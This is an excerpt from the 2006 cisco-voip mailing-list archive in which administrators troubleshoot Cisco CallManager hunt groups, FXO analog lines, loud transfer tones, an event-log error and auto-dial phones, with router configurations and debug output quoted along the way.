Created Hunt Group with that number-
Added members to that ("Call Directory number 6149","Call Directory  
number 6150", and so on )


I've reset the Pilot Point and updated the Hunt Group --

I cannot  call that Pilot Point?. get a fast busy?

What am I missing?

Is it not possible to have members of a Hunt Group who are just  
regular phones??

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https://puck.nether.net/mailman/listinfo/cisco-voip

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From wsisk at cisco.com  Wed Feb 15 12:47:02 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 15 12:47:20 2006
Subject: [cisco-voip] Analog line / FXO Port issues
In-Reply-To: <FDEEDC07A7DA6E41BCB819487E7C85AE6D6C4D@CSEXCH01.charles-stanley.co.uk>
References: <FDEEDC07A7DA6E41BCB819487E7C85AE6D6C4D@CSEXCH01.charles-stanley.co.uk>
Message-ID: <7CAC84A7-B9CF-4762-B081-091AA15FB941@cisco.com>

FXO prevents you from receiving called party number from the PSTN, so  
you have to PLAR each of those lines.

looks like your VOIP dial-peer is pointing to an h323 destination, CM?

once the gateway sends the h323 call setup to CM, you can choose how  
you want the call routed in CM. you can:
configure the destination number as a shared lines on all phones with  
max calls=4 on the phone
configure the destiantion number as a hunt pilot to a huntlist to a  
linegroup of all the desired destination lines and ring broadcast,  
longest idle, etc.

/Wes


On Feb 15, 2006, at 11:23 AM, James Dust wrote:

Can anyone help us with this as we are no further forward.

From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip- 
bounces at puck.nether.net] On Behalf Of Nick Kassel
Sent: 10 February 2006 14:24
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Analog line / FXO Port issues

We are currently trying to set up one of our small remote sites  
utilising there 4 existing analogue lines, which have one number  
spread across them, we are a using a 4 port vic2-4fxo card in a 1760.  
We can make outgoing and incoming calls but are having issues with  
multiple incoming calls, we would like each phone to have just the  
one shared DN 86820 but can?t seem to get it to work so have been  
playing about with the voiceport and dialpeer configuration by adding  
another number to connection plar and on line 2 on the phones, please  
can any one help out with the correct way to set it up, below is our  
current config so far.



     !

voice-port 1/0

  supervisory disconnect anytone

  signal groundStart

  output attenuation -4

  cptone GB

  connection plar 86820

  impedance complex2

  description Wimborne Main Line

!

voice-port 1/1

  supervisory disconnect anytone

  signal groundStart

  output attenuation -4

  cptone GB

  connection plar 86821

  impedance complex2

  description Wimborne Main Line 2

!

voice-port 1/2

  supervisory disconnect anytone

  signal groundStart

  output attenuation -4

  cptone GB

  connection plar 86820

  impedance complex2

  description Wimborne Main Line 3

!

voice-port 1/3

  supervisory disconnect anytone

  signal groundStart

  output attenuation -4

  cptone GB

  connection plar 86820

  impedance complex2

  description Wimborne Main Line 4

!

no mgcp package-capability res-package

no mgcp package-capability fxr-package

no mgcp timer receive-rtcp

!

!

!

!

dial-peer voice 1 voip

  preference 1

  destination-pattern 86820

  progress_ind setup enable 3

  session target ipv4:172.30.0.2

  dtmf-relay h245-alphanumeric

  no vad

!

dial-peer voice 20 pots

  preference 8

  destination-pattern 9.T

  port 1/3

!

dial-peer voice 21 pots

  preference 9

  destination-pattern 9.T

  port 1/2

!

dial-peer voice 22 pots

  preference 10

  destination-pattern 9.T

  port 1/1

!

dial-peer voice 2 voip

  preference 2

  destination-pattern 86820

  progress_ind setup enable 3

  session target ipv4:172.30.0.2

  dtmf-relay h245-alphanumeric

  no vad



Regards


Nick




************************************************************************ 
***********************

The information contained in this e-mail is strictly confidential,  
some or all
of which may be legally privileged. It is for the intended recipient  
only.
Access to this e-mail by any other person is prohibited. If you are  
not the
intended recipient, any use, disclosure, copying, printing,  
distribution of,
replying to or any action taken or omitted to be taken in reliance on  
this
e-mail, is prohibited and may be unlawful. Please contact the sender  
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the  
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept  
that there
may be a delay in processing the instructions received from e-mails  
after
Charles Stanley has received them. You are advised that urgent, time  
sensitive
and confidential communications should not be sent by e-mail.

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************ 
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

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From erickbe at yahoo.com  Wed Feb 15 16:50:30 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Wed Feb 15 16:50:37 2006
Subject: [cisco-voip] Attendant Console line status issue
In-Reply-To: <6A0744639B86DD459433108DBF101D26D21570@MAIL01.sentinel.com>
Message-ID: <20060215215030.75840.qmail@web34301.mail.mud.yahoo.com>


Yep. Found this yesterday. Is mentioned in 4.1 docs
and 4.0 version but the 3.3 doc version did not
mention this. Thanks. 

http://www.cisco.com/univercd/cc/td/doc/product/voice/c_callmg/4_1/sys_ad/4_1_3/ccmfeat/fsccmac.htm#wp1154239


--- "Carter, Bill" <bcarter at sentinel.com> wrote:

> Attendant Console can not have the same DN
> configured on the Attendants
> Phone, regardless of partitions.  Basically
> Attendant Console ignores
> partitions.
> 
> Associated with AC user:
> Attendant Console Hunt Group
> Attendant Console Users Phones
> 
> I have never seen an instance where an IP Phone
> status didn't display
> correctly in Attendant Console.
> 
> PS.  When you make changes to Attendant Console Hunt
> Group/Pilot Point
> etc., restarting TCD is required.
> 
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On
> Behalf Of Erick Bergquist
> Sent: Monday, February 13, 2006 11:59 PM
> To: erickbe at yahoo.com; cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] Attendant Console line
> status issue
> 
> 
> Update to this... the tcd trace shows the line
> status updates being sent
> to client. 
> 
> Found out the way they have a lot of their phones
> set up is line 1 is DN
> 1234 in partition1 and line 2 is same DN 1234 but in
> partition2. From
> reading docs this sounds like it may be not good,
> but apparently this
> supposedly has worked in past for awhile with no
> problem.
> Stopping/starting TCD or rebooting the CCM server
> seems to get it
> working for awhile again. 
> 
> Do all the people in directory and speed dials need
> to be associated to
> the ac user for line status to work?
> I haven't had to do this before and can't find it in
> docs anywhere but
> just checking. I am going to get a sniffer trace
> from client PC. The
> users in the speed dial are good in the user
> directory (all fields
> filled out correctly with telephone # that matches
> the IP phone
> extension). 
> 
> --- Erick Bergquist <erickbe at yahoo.com> wrote:
> 
> > Have a client with an AC peroblem with line status
> not displaying 
> > right or refreshing. Attendant console
> > 1.2(1) es14 running on CCM 3.3(4) and a
> receptionist who is using 
> > Windows 98.
> > 
> > They have 5 people listed in the speed dial window
> and when someone 
> > gets a call listed in speed dial, the line status
> of that person is 
> > not getting updated.
> > When the AC user gets a call and tries to transfer
> a caller to that by
> 
> > dragging call onto speed dial then the line status
> changes from 
> > showing they are available to busy because they
> are on a call already.
> > 
> > Is there a refresh interval that can be adjusted?
> > 
> > They have 140 people listed in the directory panel
> and the line status
> 
> > is not displayed there. It's been awhile, but I
> recall the directory 
> > only displaying line status right if there was 10
> or less people 
> > displayed in the directory. I had them narrow it
> down to 2 people 
> > listed and they had the same problem as speed dial
> issue above.
> > 
> > Anything in TCD traces I can look for on this?
> > 
> > __________________________________________________
> > Do You Yahoo!?
> > Tired of spam?  Yahoo! Mail has the best spam
> protection around 
> > http://mail.yahoo.com
> _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > 
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam
> protection around
> http://mail.yahoo.com
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From erickbe at yahoo.com  Wed Feb 15 17:21:47 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Wed Feb 15 17:21:57 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
In-Reply-To: <69959BF7-A926-4F1C-81BD-4B13039F20A8@cisco.com>
Message-ID: <20060215222148.82263.qmail@web34315.mail.mud.yahoo.com>

You can also adjust the "Tone on Hold Timer (sec)* "
timer under call manager service parameters. If you
set this to 200000 the tone will be disabled. 

--- Wes Sisk <wsisk at cisco.com> wrote:

> that looks reasonable.  any chance you can set OA=6
> and test.  i  
> suspect  the PSTN caller will faintly hear the
> IPPhone user with that  
> config, but it will confirm we are going down the
> right path.
> 
> /Wes
> On Feb 15, 2006, at 11:12 AM, Stu Packett wrote:
> 
> Below are my settings on the H.323 gateway.
> 
> voice-port 0/0/0:23
>   input gain -1
>   output attenuation 3
>   echo-cancel coverage 24
>   bearer-cap Speech
> 
> From: Lelio Fulgenzi [mailto:lelio at uoguelph.ca]
> Sent: Wednesday, February 15, 2006 8:02 AM
> To: Wes Sisk; Stu Packett
> Cc: cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] Callers Hear Beeps When
> Being Transferred
> 
> Would this not also modify the volume of the voices
> themselves?
> 
>
------------------------------------------------------------------------
> 
> --------
> Lelio Fulgenzi, B.A.
> Network Analyst (CCS) * University of Guelph *
> Guelph, Ontario N1G 2W1
> (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
>
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> "I had a coffee and Coke at lunch today...and now,
> I've got more  
> jitter than an
> IP phone on a long haul 10base2  
> connection"                                         
>  LFJ
> ----- Original Message -----
> From: Wes Sisk
> To: Stu Packett
> Cc: cisco-voip at puck.nether.net
> Sent: Wednesday, February 15, 2006 9:39 AM
> Subject: Re: [cisco-voip] Callers Hear Beeps When
> Being Transferred
> 
> Callmanager is simply gong to tell the gateway to
> play a tone.
> what is your output attenuation on your gateway set
> to?  this is the  
> only thing I am aware of that would modify the
> loudness of the tone.
> 
> /Wes
> 
> On Feb 15, 2006, at 2:03 AM, Stu Packett wrote:
> 
> CallManager 4.0(2a)sr2c
> 
> I got strange one here.  One of my users complained
> that when he  
> calls our main number and asks to be transferred to
> another employee,  
> he hears two or three beeps when the receptionist
> transfers his  
> call.  The problem isn't the beeps itself, but the
> loudness of the  
> beeps.  I was able to duplicate this issue on my
> phones, but on my  
> lab phones, it does not do that.
> 
> Does anyone know where to find this "beep" setting
> when callers are  
> transferred?
> 
> Thanks in advance.
> 
> IRS Circular 230  Disclosure:  To ensure compliance
> with requirements  
> imposed by the IRS, we inform you that any U.S.
> federal tax advice in  
> this communication (including attachments) is not
> intended or written  
> by Fenwick & West LLP to be used, and cannot be
> used, for the purpose  
> of (i) avoiding penalties under the Internal Revenue
> Code or (ii)  
> promoting, marketing, or recommending to another
> party any  
> transaction or matter addressed herein.
> ATTENTION:
> The information contained in this message may be
> legally privileged  
> and confidential.  It is intended to be read only by
> the individual  
> or entity to whom it is addressed or by their
> designee. If the reader  
> of this message is not the intended recipient, you
> are on notice that  
> any distribution of this message, in any form, is
> strictly prohibited.
> If you have received this message in error, please
> immediately notify  
> the sender and/or Fenwick & West LLP by telephone at
> (650) 988-8500  
> and delete or destroy any copy of this message.
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 
> 
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 
> 
> > _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


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Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
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From jonvoip at gmail.com  Wed Feb 15 18:47:17 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Wed Feb 15 18:47:21 2006
Subject: [cisco-voip] Event Log Error Message
Message-ID: <5d093f9a0602151547x1f765276uda181d627bd3da00@mail.gmail.com>

Getting the following error message every five minutes:

Event Type:     Error
Event Source:   Cisco IP Voice Media Streaming App
Event Category: None
Event ID:       3
Date:           2/15/2006
Time:           5:39:35 PM
User:           N/A
Computer:       CCMPUB
Description:
Error: kDBCheckDblGetNodeNameFailed - Database layer select my process
node failure.
 App ID: Cisco IP Voice Media Streaming App
 Cluster ID: StandAloneCluster
 Node ID: 192.168.100.3
Explanation: The database layer was unable to find/determine the current
node on which this service is running.
Recommended Action: Configure the database properly..


Cisco's website just repeats the error, with no details.

Any ideas?



Jonathan
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From Scott.Voll at wesd.org  Wed Feb 15 19:01:06 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Wed Feb 15 19:01:15 2006
Subject: [cisco-voip] Auto dial number (hot phone)
Message-ID: <D713462ED535184D830F6F6301753E7E01BE154B@VISHNU.wesd.org>

OK-

 

I'm sure it's been asked but can someone send me a link.

 

If I have a phone and you want it to dial a number soon as it's off
hook, how do you do this.  If I have a phone in conference rooms I want
it to dial a call handler on Unity and then press number for the
different departments.

 

I think PLAR is the way I do it on a router, but what about a normal IP
Phone?

 

Scott

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From SPackett at fenwick.com  Wed Feb 15 19:06:40 2006
From: SPackett at fenwick.com (Stu Packett)
Date: Wed Feb 15 19:06:50 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
Message-ID: <965C0255FD5828438E34F9A68ECA76E740AAC2@svcexch02.firm.fenwick.llp>

I tried setting the output attenuation to 6 and that did not seem to
help.  I also changed the Tone on Hold Timer to 200000 and 0, but it
kept playing every 10 seconds.  The Tone on Hold Timer documentation
says for non-MGCP devices, if it's set to 200000, it will not play, but
it still plays.  This seems to be the best solution for me if it works.

I'm on H.323 gateways.  I've restarted my phone, but not the
CallManager.  Doesn't these clusterwide settings take effect
immediately?  Do I have a possible bug?

By the way, the beeps are LOUD.  Loud to the point where you have to
take the phone off your ear. 

-----Original Message-----
From: Erick Bergquist [mailto:erickbe at yahoo.com] 
Sent: Wednesday, February 15, 2006 2:22 PM
To: Wes Sisk; Stu Packett
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

You can also adjust the "Tone on Hold Timer (sec)* "
timer under call manager service parameters. If you set this to 200000
the tone will be disabled. 

--- Wes Sisk <wsisk at cisco.com> wrote:

> that looks reasonable.  any chance you can set OA=6 and test.  i 
> suspect  the PSTN caller will faintly hear the IPPhone user with that 
> config, but it will confirm we are going down the right path.
> 
> /Wes
> On Feb 15, 2006, at 11:12 AM, Stu Packett wrote:
> 
> Below are my settings on the H.323 gateway.
> 
> voice-port 0/0/0:23
>   input gain -1
>   output attenuation 3
>   echo-cancel coverage 24
>   bearer-cap Speech
> 
> From: Lelio Fulgenzi [mailto:lelio at uoguelph.ca]
> Sent: Wednesday, February 15, 2006 8:02 AM
> To: Wes Sisk; Stu Packett
> Cc: cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred
> 
> Would this not also modify the volume of the voices themselves?
> 
>
------------------------------------------------------------------------
> 
> --------
> Lelio Fulgenzi, B.A.
> Network Analyst (CCS) * University of Guelph *
> Guelph, Ontario N1G 2W1
> (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
>
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> "I had a coffee and Coke at lunch today...and now,
> I've got more  
> jitter than an
> IP phone on a long haul 10base2  
> connection"                                         
>  LFJ
> ----- Original Message -----
> From: Wes Sisk
> To: Stu Packett
> Cc: cisco-voip at puck.nether.net
> Sent: Wednesday, February 15, 2006 9:39 AM
> Subject: Re: [cisco-voip] Callers Hear Beeps When
> Being Transferred
> 
> Callmanager is simply gong to tell the gateway to
> play a tone.
> what is your output attenuation on your gateway set
> to?  this is the  
> only thing I am aware of that would modify the
> loudness of the tone.
> 
> /Wes
> 
> On Feb 15, 2006, at 2:03 AM, Stu Packett wrote:
> 
> CallManager 4.0(2a)sr2c
> 
> I got strange one here.  One of my users complained
> that when he  
> calls our main number and asks to be transferred to
> another employee,  
> he hears two or three beeps when the receptionist
> transfers his  
> call.  The problem isn't the beeps itself, but the
> loudness of the  
> beeps.  I was able to duplicate this issue on my
> phones, but on my  
> lab phones, it does not do that.
> 
> Does anyone know where to find this "beep" setting
> when callers are  
> transferred?
> 
> Thanks in advance.
> 
> IRS Circular 230  Disclosure:  To ensure compliance
> with requirements  
> imposed by the IRS, we inform you that any U.S.
> federal tax advice in  
> this communication (including attachments) is not
> intended or written  
> by Fenwick & West LLP to be used, and cannot be
> used, for the purpose  
> of (i) avoiding penalties under the Internal Revenue
> Code or (ii)  
> promoting, marketing, or recommending to another
> party any  
> transaction or matter addressed herein.
> ATTENTION:
> The information contained in this message may be
> legally privileged  
> and confidential.  It is intended to be read only by
> the individual  
> or entity to whom it is addressed or by their
> designee. If the reader  
> of this message is not the intended recipient, you
> are on notice that  
> any distribution of this message, in any form, is
> strictly prohibited.
> If you have received this message in error, please
> immediately notify  
> the sender and/or Fenwick & West LLP by telephone at
> (650) 988-8500  
> and delete or destroy any copy of this message.
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 
> 
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 
> 
> > _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
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--------------------------------------------------------

IRS Circular 230  Disclosure:  To ensure compliance with requirements imposed by the IRS, we inform you that any U.S. federal tax advice in this communication (including attachments) is not intended or written by Fenwick & West LLP to be used, and cannot be used, for the purpose of (i) avoiding penalties under the Internal Revenue Code or (ii) promoting, marketing, or recommending to another party any transaction or matter addressed herein.
--------------------------------------------------------

ATTENTION:
The information contained in this message may be legally privileged and confidential.  It is intended to be read only by the individual or entity to whom it is addressed or by their designee. If the reader of this message is not the intended recipient, you are on notice that any distribution of this message, in any form, is strictly prohibited.
 
If you have received this message in error, please immediately notify the sender and/or Fenwick & West LLP by telephone at (650) 988-8500 and delete or destroy any copy of this message.


From lelio at uoguelph.ca  Wed Feb 15 19:15:57 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Wed Feb 15 19:16:02 2006
Subject: [cisco-voip] Auto dial number (hot phone)
References: <D713462ED535184D830F6F6301753E7E01BE154B@VISHNU.wesd.org>
Message-ID: <001001c6328e$28db3fc0$c801a8c0@deadfish>

Here's how I do it now:

Create a partition called ringdown_to_mymenu_pt
create a searchspace called ringdown_to_mymenu_css and add the above partition to it
create a blank translation in the ringdown_to_mymenu_pt and change the transformed digits to the number you want to dial.
you have to assign the translation a CSS that can reach that transformed number
assign the line/phone the ringdown_to_mymenu_css

you should be good to go.

lelio "what do you mean adding a blank translation in the none partition is bad?" fulgenzi

  ----- Original Message ----- 
  From: Voll, Scott 
  To: cisco-voip at puck.nether.net 
  Sent: Wednesday, February 15, 2006 7:01 PM
  Subject: [cisco-voip] Auto dial number (hot phone)


  OK-

   

  I'm sure it's been asked but can someone send me a link.

   

  If I have a phone and you want it to dial a number soon as it's off hook, how do you do this.  If I have a phone in conference rooms I want it to dial a call handler on Unity and then press number for the different departments.

   

  I think PLAR is the way I do it on a router, but what about a normal IP Phone?

   

  Scott



------------------------------------------------------------------------------


  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip
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From lelio at uoguelph.ca  Wed Feb 15 19:17:35 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Wed Feb 15 19:17:42 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
References: <965C0255FD5828438E34F9A68ECA76E740AAC2@svcexch02.firm.fenwick.llp>
Message-ID: <002401c6328e$64165d90$c801a8c0@deadfish>

I'm right with you Stu on the loudness. Onnet volume is probably less than half what offnet volume is. I'm just waiting for the right person to complain to our president and we have to turn tones off all together or come up with tones as our MOH source. Like I haven't done that before....

  ----- Original Message ----- 
  From: Stu Packett 
  To: erickbe at yahoo.com ; Wes Sisk 
  Cc: cisco-voip at puck.nether.net 
  Sent: Wednesday, February 15, 2006 7:06 PM
  Subject: RE: [cisco-voip] Callers Hear Beeps When Being Transferred


  I tried setting the output attenuation to 6 and that did not seem to
  help.  I also changed the Tone on Hold Timer to 200000 and 0, but it
  kept playing every 10 seconds.  The Tone on Hold Timer documentation
  says for non-MGCP devices, if it's set to 200000, it will not play, but
  it still plays.  This seems to be the best solution for me if it works.

  I'm on H.323 gateways.  I've restarted my phone, but not the
  CallManager.  Doesn't these clusterwide settings take effect
  immediately?  Do I have a possible bug?

  By the way, the beeps are LOUD.  Loud to the point where you have to
  take the phone off your ear. 

  -----Original Message-----
  From: Erick Bergquist [mailto:erickbe at yahoo.com] 
  Sent: Wednesday, February 15, 2006 2:22 PM
  To: Wes Sisk; Stu Packett
  Cc: cisco-voip at puck.nether.net
  Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

  You can also adjust the "Tone on Hold Timer (sec)* "
  timer under call manager service parameters. If you set this to 200000
  the tone will be disabled. 

  --- Wes Sisk <wsisk at cisco.com> wrote:

  > that looks reasonable.  any chance you can set OA=6 and test.  i 
  > suspect  the PSTN caller will faintly hear the IPPhone user with that 
  > config, but it will confirm we are going down the right path.
  > 
  > /Wes
  > On Feb 15, 2006, at 11:12 AM, Stu Packett wrote:
  > 
  > Below are my settings on the H.323 gateway.
  > 
  > voice-port 0/0/0:23
  >   input gain -1
  >   output attenuation 3
  >   echo-cancel coverage 24
  >   bearer-cap Speech
  > 
  > From: Lelio Fulgenzi [mailto:lelio at uoguelph.ca]
  > Sent: Wednesday, February 15, 2006 8:02 AM
  > To: Wes Sisk; Stu Packett
  > Cc: cisco-voip at puck.nether.net
  > Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred
  > 
  > Would this not also modify the volume of the voices themselves?
  > 
  >
  ------------------------------------------------------------------------
  > 
  > --------
  > Lelio Fulgenzi, B.A.
  > Network Analyst (CCS) * University of Guelph *
  > Guelph, Ontario N1G 2W1
  > (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
  >
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  > "I had a coffee and Coke at lunch today...and now,
  > I've got more  
  > jitter than an
  > IP phone on a long haul 10base2  
  > connection"                                         
  >  LFJ
  > ----- Original Message -----
  > From: Wes Sisk
  > To: Stu Packett
  > Cc: cisco-voip at puck.nether.net
  > Sent: Wednesday, February 15, 2006 9:39 AM
  > Subject: Re: [cisco-voip] Callers Hear Beeps When
  > Being Transferred
  > 
  > Callmanager is simply gong to tell the gateway to
  > play a tone.
  > what is your output attenuation on your gateway set
  > to?  this is the  
  > only thing I am aware of that would modify the
  > loudness of the tone.
  > 
  > /Wes
  > 
  > On Feb 15, 2006, at 2:03 AM, Stu Packett wrote:
  > 
  > CallManager 4.0(2a)sr2c
  > 
  > I got strange one here.  One of my users complained
  > that when he  
  > calls our main number and asks to be transferred to
  > another employee,  
  > he hears two or three beeps when the receptionist
  > transfers his  
  > call.  The problem isn't the beeps itself, but the
  > loudness of the  
  > beeps.  I was able to duplicate this issue on my
  > phones, but on my  
  > lab phones, it does not do that.
  > 
  > Does anyone know where to find this "beep" setting
  > when callers are  
  > transferred?
  > 
  > Thanks in advance.
  > 
  > IRS Circular 230  Disclosure:  To ensure compliance
  > with requirements  
  > imposed by the IRS, we inform you that any U.S.
  > federal tax advice in  
  > this communication (including attachments) is not
  > intended or written  
  > by Fenwick & West LLP to be used, and cannot be
  > used, for the purpose  
  > of (i) avoiding penalties under the Internal Revenue
  > Code or (ii)  
  > promoting, marketing, or recommending to another
  > party any  
  > transaction or matter addressed herein.
  > ATTENTION:
  > The information contained in this message may be
  > legally privileged  
  > and confidential.  It is intended to be read only by
  > the individual  
  > or entity to whom it is addressed or by their
  > designee. If the reader  
  > of this message is not the intended recipient, you
  > are on notice that  
  > any distribution of this message, in any form, is
  > strictly prohibited.
  > If you have received this message in error, please
  > immediately notify  
  > the sender and/or Fenwick & West LLP by telephone at
  > (650) 988-8500  
  > and delete or destroy any copy of this message.
  > _______________________________________________
  > cisco-voip mailing list
  > cisco-voip at puck.nether.net
  > https://puck.nether.net/mailman/listinfo/cisco-voip
  > 
  > 
  > 
  > _______________________________________________
  > cisco-voip mailing list
  > cisco-voip at puck.nether.net
  > https://puck.nether.net/mailman/listinfo/cisco-voip
  > 
  > 
  > > _______________________________________________
  > cisco-voip mailing list
  > cisco-voip at puck.nether.net
  > https://puck.nether.net/mailman/listinfo/cisco-voip
  > 


  __________________________________________________
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  Tired of spam?  Yahoo! Mail has the best spam protection around 
  http://mail.yahoo.com
  --------------------------------------------------------

  IRS Circular 230  Disclosure:  To ensure compliance with requirements imposed by the IRS, we inform you that any U.S. federal tax advice in this communication (including attachments) is not intended or written by Fenwick & West LLP to be used, and cannot be used, for the purpose of (i) avoiding penalties under the Internal Revenue Code or (ii) promoting, marketing, or recommending to another party any transaction or matter addressed herein.
  --------------------------------------------------------

  ATTENTION:
  The information contained in this message may be legally privileged and confidential.  It is intended to be read only by the individual or entity to whom it is addressed or by their designee. If the reader of this message is not the intended recipient, you are on notice that any distribution of this message, in any form, is strictly prohibited.
   
  If you have received this message in error, please immediately notify the sender and/or Fenwick & West LLP by telephone at (650) 988-8500 and delete or destroy any copy of this message.

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From kthorngr at cisco.com  Wed Feb 15 19:20:07 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Wed Feb 15 19:20:16 2006
Subject: [cisco-voip] Auto dial number (hot phone)
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE154B@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE154B@VISHNU.wesd.org>
Message-ID: <1a3bf409e124b4c6d5caa88600e42c7b@cisco.com>

This URL will explain how to configure PLAR using CallManager:
http://www.cisco.com/en/US/products/sw/voicesw/ps556/ 
products_configuration_example09186a0080232b9f.shtml

Kevin
On Feb 15, 2006, at 7:01 PM, Voll, Scott wrote:

> OK?
> ?
> I?m sure it?s been asked but can someone send me a link.
> ?
> If I have a phone and you want it to dial a number soon as it?s off  
> hook, how do you do this.? If I have a phone in conference rooms I  
> want it to dial a call handler on Unity and then press number for the  
> different departments.
> ?
> I think PLAR is the way I do it on a router, but what about a normal  
> IP Phone?
> ?
> Scott
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
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From wsisk at cisco.com  Wed Feb 15 19:20:28 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 15 19:20:42 2006
Subject: [cisco-voip] Event Log Error Message
In-Reply-To: <5d093f9a0602151547x1f765276uda181d627bd3da00@mail.gmail.com>
References: <5d093f9a0602151547x1f765276uda181d627bd3da00@mail.gmail.com>
Message-ID: <2163495D-398B-4C75-98A0-8135EDA4A71E@cisco.com>

sounds like your IP Voice Media Streaming service is set to started  
in the windows service control manager but the service is not  
'activated' under /ccmservice so it is missing an entry from the CCM  
database.

try to activate (or deactivate/activate) the service in http://server/ 
ccmservice under service service activation

/Wes
On Feb 15, 2006, at 6:47 PM, Jonathan Charles wrote:

Getting the following error message every five minutes:

Event Type:     Error
Event Source:   Cisco IP Voice Media Streaming App
Event Category: None
Event ID:       3
Date:           2/15/2006
Time:           5:39:35 PM
User:           N/A
Computer:       CCMPUB
Description:
Error: kDBCheckDblGetNodeNameFailed - Database layer select my process
node failure.
  App ID: Cisco IP Voice Media Streaming App
  Cluster ID: StandAloneCluster
  Node ID: 192.168.100.3
Explanation: The database layer was unable to find/determine the current
node on which this service is running.
Recommended Action: Configure the database properly..


Cisco's website just repeats the error, with no details.

Any ideas?



Jonathan
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From wsisk at cisco.com  Wed Feb 15 19:34:45 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 15 19:34:58 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
In-Reply-To: <965C0255FD5828438E34F9A68ECA76E740AAC2@svcexch02.firm.fenwick.llp>
References: <965C0255FD5828438E34F9A68ECA76E740AAC2@svcexch02.firm.fenwick.llp>
Message-ID: <EFAD1A57-3F87-44E4-B6F4-35EE63E9C6AE@cisco.com>

in h323 we only send a message to the GW that says 'hey, play tone  
53' , well maybe not 53, but still just an index into an array.

if changing the OA on the voice port did not make a difference, then  
are you 100% certain the call is routing through this voice port? was  
the ipphone user's voice notably softer when you performed the test?  
on the gateway when call volume is low turn on 'debug dspapi detail'  
or 'debug voip dspapi detail' depending on your IOS version:
http://www.cisco.com/univercd/cc/td/doc/product/software/ 
ios124/124tcr/tdb_r/dbg_d1ht.htm#wp1083071

and look for a message like:
Aug 27 22:02:49.159: //19930/9C188849A6CA/DSPAPI/[1/0:23 (19930)]/ 
dsp_inband_tone_on:
     Tone ID=1, Direction=1, Num frequencies=2
     Frequency(hz): a=440 b=480, Amplitude(dB): a=-16.0 b=-16.0
     Cadence1(ms): ON=2000 OFF=4000
     Cadence2(ms): ON=0 OFF=0
     Cadence3(ms): ON=0 OFF=10000
     Cadence4(ms): ON=0 OFF=0
     Frequency(hz): a2=0 b2=0 a3=0 b3=0 a4=25799 b4=39688
     ITO option group: 1
Aug 27 22:02:53.027: //19930/9C188849A6CA/DSPAPI/[1/0:23 (19930)]/ 
dsp_query_info

Anyone know offhand what telephony tone is 440+480?

Do you have 'MTP Enabled' select on your h323 gateway config in  
CCMAdmin?

/Wes

On Feb 15, 2006, at 7:06 PM, Stu Packett wrote:

I tried setting the output attenuation to 6 and that did not seem to
help.  I also changed the Tone on Hold Timer to 200000 and 0, but it
kept playing every 10 seconds.  The Tone on Hold Timer documentation
